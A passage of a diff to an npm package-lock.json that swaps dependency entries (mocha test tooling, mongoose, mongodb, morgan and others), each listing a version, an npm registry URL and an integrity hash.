"spawn-wrap": "^2.0.0", +- "test-exclude": "^6.0.0", +- "yargs": "^15.0.2" ++ "@ungap/promise-all-settled": "1.1.2", ++ "ansi-colors": "4.1.1", ++ "browser-stdout": "1.3.1", ++ "chokidar": "3.5.1", ++ "debug": "4.3.1", ++ "diff": "5.0.0", ++ "escape-string-regexp": "4.0.0", ++ "find-up": "5.0.0", ++ "glob": "7.1.6", ++ "growl": "1.10.5", ++ "he": "1.2.0", ++ "js-yaml": "4.0.0", ++ "log-symbols": "4.0.0", ++ "minimatch": "3.0.4", ++ "ms": "2.1.3", ++ "nanoid": "3.1.20", ++ "serialize-javascript": "5.0.1", ++ "strip-json-comments": "3.1.1", ++ "supports-color": "8.1.1", ++ "which": "2.0.2", ++ "wide-align": "1.1.3", ++ "workerpool": "6.1.0", ++ "yargs": "16.2.0", ++ "yargs-parser": "20.2.4", ++ "yargs-unparser": "2.0.0" + }, + "dependencies": { + "ansi-styles": { +@@ -58451,727 +46747,737 @@ + "color-convert": "^2.0.1" + } + }, +- "camelcase": { +- "version": "5.3.1", +- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", +- "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", +- "dev": true +- }, +- "cliui": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", +- "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", ++ "chalk": { ++ "version": "4.1.2", ++ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", ++ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "requires": { +- "string-width": "^4.2.0", +- "strip-ansi": "^6.0.0", +- "wrap-ansi": "^6.2.0" ++ "ansi-styles": "^4.1.0", ++ "supports-color": "^7.1.0" ++ }, ++ "dependencies": { ++ "supports-color": { ++ "version": "7.2.0", ++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", ++ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", ++ "dev": true, ++ "requires": { ++ "has-flag": "^4.0.0" ++ } ++ } + } + }, +- "find-cache-dir": { +- "version": "3.3.2", +- "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", +- "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", ++ "chokidar": { ++ "version": "3.5.1", ++ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz", ++ "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==", + "dev": true, + "requires": { +- "commondir": "^1.0.1", +- "make-dir": "^3.0.2", +- "pkg-dir": "^4.1.0" ++ "anymatch": "~3.1.1", ++ "braces": "~3.0.2", ++ "fsevents": "~2.3.1", ++ "glob-parent": "~5.1.0", ++ "is-binary-path": "~2.1.0", ++ "is-glob": "~4.0.1", ++ "normalize-path": "~3.0.0", ++ "readdirp": "~3.5.0" + } + }, +- "find-up": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", +- "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", ++ "debug": { ++ "version": "4.3.1", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", ++ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { +- "locate-path": "^5.0.0", +- "path-exists": "^4.0.0" ++ "ms": "2.1.2" ++ }, ++ "dependencies": { ++ "ms": { ++ "version": "2.1.2", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", ++ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", ++ "dev": true ++ } + } + }, +- "locate-path": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", +- "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", ++ "glob": { ++ "version": "7.1.6", ++ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", ++ "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "requires": { +- "p-locate": "^4.1.0" ++ "fs.realpath": "^1.0.0", ++ "inflight": "^1.0.4", ++ "inherits": "2", ++ "minimatch": "^3.0.4", ++ "once": "^1.3.0", ++ "path-is-absolute": "^1.0.0" + } + }, +- "make-dir": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", +- "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", ++ "js-yaml": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.0.0.tgz", ++ "integrity": "sha512-pqon0s+4ScYUvX30wxQi3PogGFAlUyH0awepWvwkj4jD4v+ova3RiYw8bmA6x2rDrEaj8i/oWKoRxpVNW+Re8Q==", + "dev": true, + "requires": { +- "semver": "^6.0.0" ++ "argparse": "^2.0.1" + } + }, +- "p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", ++ "log-symbols": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.0.0.tgz", ++ "integrity": "sha512-FN8JBzLx6CzeMrB0tg6pqlGU1wCrXW+ZXGH481kfsBqer0hToTIiHdjH4Mq8xJUbvATujKCvaREGWpGUionraA==", + "dev": true, + "requires": { +- "p-try": "^2.0.0" ++ "chalk": "^4.0.0" + } + }, +- "p-locate": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", +- "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", +- "dev": true, +- "requires": { +- "p-limit": "^2.2.0" +- } ++ "nanoid": { ++ "version": "3.1.20", ++ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.20.tgz", ++ "integrity": "sha512-a1cQNyczgKbLX9jwbS/+d7W8fX/RfgYR7lVWwWOGIPNgK2m0MWvrGF6/m4kk6U3QcFMnZf3RIhL0v2Jgh/0Uxw==", ++ "dev": true + }, +- "p-map": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz", +- "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==", ++ "randombytes": { ++ "version": "2.1.0", ++ "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", ++ "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "requires": { +- "aggregate-error": "^3.0.0" ++ "safe-buffer": "^5.1.0" + } + }, +- "rimraf": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", +- "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", ++ "readdirp": { ++ "version": "3.5.0", ++ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz", ++ "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==", + "dev": true, + "requires": { +- "glob": "^7.1.3" ++ "picomatch": "^2.2.1" + } + }, +- "wrap-ansi": { +- "version": "6.2.0", +- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", +- "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", ++ "serialize-javascript": { ++ "version": "5.0.1", ++ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-5.0.1.tgz", ++ "integrity": "sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA==", + "dev": true, + "requires": { +- "ansi-styles": "^4.0.0", +- "string-width": "^4.1.0", +- "strip-ansi": "^6.0.0" ++ "randombytes": "^2.1.0" + } + }, +- "y18n": { +- "version": "4.0.3", +- "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", +- "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", ++ "workerpool": { ++ "version": "6.1.0", ++ "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.1.0.tgz", ++ "integrity": "sha512-toV7q9rWNYha963Pl/qyeZ6wG+3nnsyvolaNUS8+R5Wtw6qJPTxIlOP1ZSvcGhEJw+l3HMMmtiNo9Gl61G4GVg==", + "dev": true + }, + "yargs": { +- "version": "15.4.1", +- "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", +- "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", ++ "version": "16.2.0", ++ "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", ++ "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "requires": { +- "cliui": "^6.0.0", +- "decamelize": "^1.2.0", +- "find-up": "^4.1.0", +- "get-caller-file": "^2.0.1", ++ "cliui": "^7.0.2", ++ "escalade": "^3.1.1", ++ "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", +- "require-main-filename": "^2.0.0", +- "set-blocking": "^2.0.0", + "string-width": "^4.2.0", +- "which-module": "^2.0.0", +- "y18n": "^4.0.0", +- "yargs-parser": "^18.1.2" +- } +- }, +- "yargs-parser": { +- "version": "18.1.3", +- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", +- "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", +- "dev": true, +- "requires": { +- "camelcase": "^5.0.0", +- "decamelize": "^1.2.0" ++ "y18n": "^5.0.5", ++ "yargs-parser": "^20.2.2" + } + } + } + }, +- "oauth": { +- "version": "0.9.15", +- "resolved": "https://registry.npmjs.org/oauth/-/oauth-0.9.15.tgz", +- "integrity": "sha1-vR/vr2hslrdUda7VGWQS/2DPucE=" ++ "mock-fs": { ++ "version": "5.1.2", ++ "resolved": "https://registry.npmjs.org/mock-fs/-/mock-fs-5.1.2.tgz", ++ "integrity": "sha512-YkjQkdLulFrz0vD4BfNQdQRVmgycXTV7ykuHMlyv+C8WCHazpkiQRDthwa02kSyo8wKnY9wRptHfQLgmf0eR+A==", ++ "dev": true ++ }, ++ "module-details-from-path": { ++ "version": "1.0.3", ++ "resolved": "https://registry.npmjs.org/module-details-from-path/-/module-details-from-path-1.0.3.tgz", ++ "integrity": "sha1-EUyUlnPiqKNenTV4hSeqN7Z52is=" ++ }, ++ "moment": { ++ "version": "2.29.4", ++ "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz", ++ "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w==" ++ }, ++ "moment-timezone": { ++ "version": "0.5.34", ++ "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.34.tgz", ++ "integrity": "sha512-3zAEHh2hKUs3EXLESx/wsgw6IQdusOT8Bxm3D9UrHPQR7zlMmzwybC8zHEM1tQ4LJwP7fcxrWr8tuBg05fFCbg==", ++ "requires": { ++ "moment": ">= 2.9.0" ++ } ++ }, ++ "mongo-uri": { ++ "version": "0.1.2", ++ "resolved": "https://registry.npmjs.org/mongo-uri/-/mongo-uri-0.1.2.tgz", ++ "integrity": "sha1-FzrwFAMzkALgq9C01nWYfTzc+Z4=" + }, +- "oauth-sign": { +- "version": "0.9.0", +- "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", +- "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" ++ "mongodb": { ++ "version": "3.7.3", ++ "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-3.7.3.tgz", ++ "integrity": "sha512-Psm+g3/wHXhjBEktkxXsFMZvd3nemI0r3IPsE0bU+4//PnvNWKkzhZcEsbPcYiWqe8XqXJJEg4Tgtr7Raw67Yw==", ++ "requires": { ++ "bl": "^2.2.1", ++ "bson": "^1.1.4", ++ "denque": "^1.4.1", ++ "optional-require": "^1.1.8", ++ "safe-buffer": "^5.1.2", ++ "saslprep": "^1.0.0" ++ } + }, +- "oauth2-server": { +- "version": "3.1.1", +- "resolved": "https://registry.npmjs.org/oauth2-server/-/oauth2-server-3.1.1.tgz", +- "integrity": "sha512-4dv+fE9hrK+xTaCygOLh/kQeFzbFr7UqSyHvBDbrQq8Hg52sAkV2vTsyH3Z42hoeaKpbhM7udhL8Y4GYbl6TGQ==", ++ "mongoose": { ++ "version": "5.13.14", ++ "resolved": "https://registry.npmjs.org/mongoose/-/mongoose-5.13.14.tgz", ++ "integrity": "sha512-j+BlQjjxgZg0iWn42kLeZTB91OejcxWpY2Z50bsZTiKJ7HHcEtcY21Godw496GMkBqJMTzmW7G/kZ04mW+Cb7Q==", + "requires": { +- "basic-auth": "2.0.1", +- "bluebird": "3.7.2", +- "lodash": "4.17.19", +- "promisify-any": "2.0.1", +- "statuses": "1.5.0", +- "type-is": "1.6.18" ++ "@types/bson": "1.x || 4.0.x", ++ "@types/mongodb": "^3.5.27", ++ "bson": "^1.1.4", ++ "kareem": "2.3.2", ++ "mongodb": "3.7.3", ++ "mongoose-legacy-pluralize": "1.0.2", ++ "mpath": "0.8.4", ++ "mquery": "3.2.5", ++ "ms": "2.1.2", ++ "optional-require": "1.0.x", ++ "regexp-clone": "1.0.0", ++ "safe-buffer": "5.2.1", ++ "sift": "13.5.2", ++ "sliced": "1.0.1" + }, + "dependencies": { +- "lodash": { +- "version": "4.17.19", +- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", +- "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==" ++ "ms": { ++ "version": "2.1.2", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", ++ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" ++ }, ++ "optional-require": { ++ "version": "1.0.3", ++ "resolved": "https://registry.npmjs.org/optional-require/-/optional-require-1.0.3.tgz", ++ "integrity": "sha512-RV2Zp2MY2aeYK5G+B/Sps8lW5NHAzE5QClbFP15j+PWmP+T9PxlJXBOOLoSAdgwFvS4t0aMR4vpedMkbHfh0nA==" ++ }, ++ "safe-buffer": { ++ "version": "5.2.1", ++ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", ++ "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + } + } + }, +- "object-assign": { +- "version": "4.1.1", +- "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", +- "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" ++ "mongoose-legacy-pluralize": { ++ "version": "1.0.2", ++ "resolved": "https://registry.npmjs.org/mongoose-legacy-pluralize/-/mongoose-legacy-pluralize-1.0.2.tgz", ++ "integrity": "sha512-Yo/7qQU4/EyIS8YDFSeenIvXxZN+ld7YdV9LqFVQJzTLye8unujAWPZ4NWKfFA+RNjh+wvTWKY9Z3E5XM6ZZiQ==", ++ "requires": {} + }, +- "object-copy": { +- "version": "0.1.0", +- "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", +- "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", ++ "morgan": { ++ "version": "1.10.0", ++ "resolved": "https://registry.npmjs.org/morgan/-/morgan-1.10.0.tgz", ++ "integrity": "sha512-AbegBVI4sh6El+1gNwvD5YIck7nSA36weD7xvIxG4in80j/UoK8AEGaWnnz8v1GxonMCltmlNs5ZKbGvl9b1XQ==", + "requires": { +- "copy-descriptor": "^0.1.0", +- "define-property": "^0.2.5", +- "kind-of": "^3.0.3" ++ "basic-auth": "~2.0.1", ++ "debug": "2.6.9", ++ "depd": "~2.0.0", ++ "on-finished": "~2.3.0", ++ "on-headers": "~1.0.2" + }, + "dependencies": { +- "define-property": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", +- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", ++ "debug": { ++ "version": "2.6.9", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", ++ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { +- "is-descriptor": "^0.1.0" ++ "ms": "2.0.0" + } + }, +- "is-accessor-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", +- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", +- "requires": { +- "kind-of": "^3.0.2" +- } ++ "depd": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", ++ "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" ++ }, ++ "ms": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", ++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" ++ } ++ } ++ }, ++ "mpath": { ++ "version": "0.8.4", ++ "resolved": "https://registry.npmjs.org/mpath/-/mpath-0.8.4.tgz", ++ "integrity": "sha512-DTxNZomBcTWlrMW76jy1wvV37X/cNNxPW1y2Jzd4DZkAaC5ZGsm8bfGfNOthcDuRJujXLqiuS6o3Tpy0JEoh7g==" ++ }, ++ "mquery": { ++ "version": "3.2.5", ++ "resolved": "https://registry.npmjs.org/mquery/-/mquery-3.2.5.tgz", ++ "integrity": "sha512-VjOKHHgU84wij7IUoZzFRU07IAxd5kWJaDmyUzQlbjHjyoeK5TNeeo8ZsFDtTYnSgpW6n/nMNIHvE3u8Lbrf4A==", ++ "requires": { ++ "bluebird": "3.5.1", ++ "debug": "3.1.0", ++ "regexp-clone": "^1.0.0", ++ "safe-buffer": "5.1.2", ++ "sliced": "1.0.1" ++ }, ++ "dependencies": { ++ "bluebird": { ++ "version": "3.5.1", ++ "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", ++ "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==" + }, +- "is-data-descriptor": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", +- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", ++ "debug": { ++ "version": "3.1.0", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", ++ "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "requires": { +- "kind-of": "^3.0.2" ++ "ms": "2.0.0" + } + }, +- "is-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", +- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", ++ "ms": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", ++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" ++ } ++ } ++ }, ++ "ms": { ++ "version": "2.1.3", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", ++ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" ++ }, ++ "multicast-dns": { ++ "version": "6.2.3", ++ "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz", ++ "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==", ++ "devOptional": true, ++ "requires": { ++ "dns-packet": "^1.3.1", ++ "thunky": "^1.0.2" ++ } ++ }, ++ "multicast-dns-service-types": { ++ "version": "1.1.0", ++ "resolved": "https://registry.npmjs.org/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz", ++ "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=", ++ "devOptional": true ++ }, ++ "mv": { ++ "version": "2.1.1", ++ "resolved": "https://registry.npmjs.org/mv/-/mv-2.1.1.tgz", ++ "integrity": "sha1-rmzg1vbV4KT32JN5jQPB6pVZtqI=", ++ "optional": true, ++ "requires": { ++ "mkdirp": "~0.5.1", ++ "ncp": "~2.0.0", ++ "rimraf": "~2.4.0" ++ }, ++ "dependencies": { ++ "glob": { ++ "version": "6.0.4", ++ "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz", ++ "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=", ++ "optional": true, + "requires": { +- "is-accessor-descriptor": "^0.1.6", +- "is-data-descriptor": "^0.1.4", +- "kind-of": "^5.0.0" +- }, +- "dependencies": { +- "kind-of": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", +- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" +- } ++ "inflight": "^1.0.4", ++ "inherits": "2", ++ "minimatch": "2 || 3", ++ "once": "^1.3.0", ++ "path-is-absolute": "^1.0.0" + } + }, +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", ++ "rimraf": { ++ "version": "2.4.5", ++ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.4.5.tgz", ++ "integrity": "sha1-7nEM5dk6j9uFb7Xqj/Di11k0sto=", ++ "optional": true, + "requires": { +- "is-buffer": "^1.1.5" ++ "glob": "^6.0.1" + } + } + } + }, +- "object-get": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/object-get/-/object-get-2.1.1.tgz", +- "integrity": "sha512-7n4IpLMzGGcLEMiQKsNR7vCe+N5E9LORFrtNUVy4sO3dj9a3HedZCxEL2T7QuLhcHN1NBuBsMOKaOsAYI9IIvg==", +- "dev": true ++ "namespace-emitter": { ++ "version": "2.0.1", ++ "resolved": "https://registry.npmjs.org/namespace-emitter/-/namespace-emitter-2.0.1.tgz", ++ "integrity": "sha512-N/sMKHniSDJBjfrkbS/tpkPj4RAbvW3mr8UAzvlMHyun93XEm83IAvhWtJVHo+RHn/oO8Job5YN4b+wRjSVp5g==" + }, +- "object-hash": { +- "version": "2.2.0", +- "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.2.0.tgz", +- "integrity": "sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw==" ++ "nan": { ++ "version": "2.15.0", ++ "resolved": "https://registry.npmjs.org/nan/-/nan-2.15.0.tgz", ++ "integrity": "sha512-8ZtvEnA2c5aYCZYd1cvgdnU6cqwixRoYg70xPLWUws5ORTa/lnw+u4amixRS/Ac5U5mQVgp9pnlSUnbNWFaWZQ==" + }, +- "object-inspect": { +- "version": "1.12.0", +- "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.0.tgz", +- "integrity": "sha512-Ho2z80bVIvJloH+YzRmpZVQe87+qASmBUKZDWgx9cu+KDrX2ZDH/3tMy+gXbZETVGs2M8YdxObOh7XAtim9Y0g==" ++ "nanoclone": { ++ "version": "0.2.1", ++ "resolved": "https://registry.npmjs.org/nanoclone/-/nanoclone-0.2.1.tgz", ++ "integrity": "sha512-wynEP02LmIbLpcYw8uBKpcfF6dmg2vcpKqxeH5UcoKEYdExslsdUA4ugFauuaeYdTB76ez6gJW8XAZ6CgkXYxA==" + }, +- "object-is": { +- "version": "1.1.5", +- "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", +- "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", +- "devOptional": true, +- "requires": { +- "call-bind": "^1.0.2", +- "define-properties": "^1.1.3" +- } ++ "nanoid": { ++ "version": "3.2.0", ++ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.2.0.tgz", ++ "integrity": "sha512-fmsZYa9lpn69Ad5eDn7FMcnnSR+8R34W9qJEijxYhTbfOWzr22n1QxCMzXLK+ODyW2973V3Fux959iQoUxzUIA==", ++ "dev": true + }, +- "object-keys": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", +- "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==" ++ "native-request": { ++ "version": "1.1.0", ++ "resolved": "https://registry.npmjs.org/native-request/-/native-request-1.1.0.tgz", ++ "integrity": "sha512-uZ5rQaeRn15XmpgE0xoPL8YWqcX90VtCFglYwAgkvKM5e8fog+vePLAhHxuuv/gRkrQxIeh5U3q9sMNUrENqWw==", ++ "dev": true, ++ "optional": true + }, +- "object-to-spawn-args": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/object-to-spawn-args/-/object-to-spawn-args-2.0.1.tgz", +- "integrity": "sha512-6FuKFQ39cOID+BMZ3QaphcC8Y4cw6LXBLyIgPU+OhIYwviJamPAn+4mITapnSBQrejB+NNp+FMskhD8Cq+Ys3w==", ++ "natural-compare": { ++ "version": "1.4.0", ++ "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", ++ "integrity": 